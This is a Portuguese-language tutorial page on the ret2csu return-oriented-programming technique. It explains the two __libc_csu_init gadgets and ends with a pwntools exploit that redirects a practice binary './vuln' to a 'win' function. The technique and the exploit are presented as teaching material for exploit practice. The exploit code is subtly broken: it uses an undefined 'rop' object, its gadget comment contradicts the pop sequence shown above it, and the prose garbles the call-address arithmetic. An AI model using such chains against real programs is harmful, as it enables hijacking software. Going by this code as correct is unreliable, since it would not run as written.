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Ret2csu

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Informação Básica

ret2csu é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os gadgets que normalmente usa para manipular o comportamento do programa.

Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções internas para gerenciar como diferentes partes do programa se comunicam entre si. Entre essas funções, existem algumas joias escondidas que podem atuar como nossos gadgets ausentes, especialmente uma chamada __libc_csu_init.

Os Gadgets Mágicos em __libc_csu_init

Em __libc_csu_init, existem duas sequências de instruções (nossos "gadgets mágicos") que se destacam:

1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar posteriormente.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.

2. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:

• Mover valores específicos para outros registradores, preparando-os para serem usados como parâmetros em funções.
• Realizar uma chamada para uma localização determinada somando os valores em r15 e rbx, e então multiplicando rbx por 8.

mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call qword [r15 + rbx*8];

Exemplo

Imagine que você deseja fazer uma chamada de sistema ou chamar uma função como write(), mas precisa de valores específicos nos registradores rdx e rsi como parâmetros. Normalmente, você procuraria por gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.

Aqui é onde o ret2csu entra em ação:

1. Configurar os Registradores: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
2. Usar o Segundo Gadget: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para rdx e rsi (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, controlando r15 e rbx, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em [r15 + rbx*8].

Você tem um exemplo usando essa técnica e explicando-a aqui, e este é o exploit final que foi usado:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

{% hint style="warning" %} Note que o exploit anterior não tem como objetivo realizar um RCE, mas sim chamar uma função chamada win (pegando o endereço de win do stdin chamando gets na cadeia ROP e armazenando em r15) com um terceiro argumento com o valor 0xdeadbeefcafed00d. {% endhint %}

Por Que Não Usar a Libc Diretamente?

Normalmente, esses casos também são vulneráveis ao ret2plt + ret2lib, mas às vezes você precisa controlar mais parâmetros do que é facilmente controlado com os gadgets que você encontra diretamente na libc. Por exemplo, a função write() requer três parâmetros, e encontrar gadgets para definir todos esses diretamente pode não ser possível.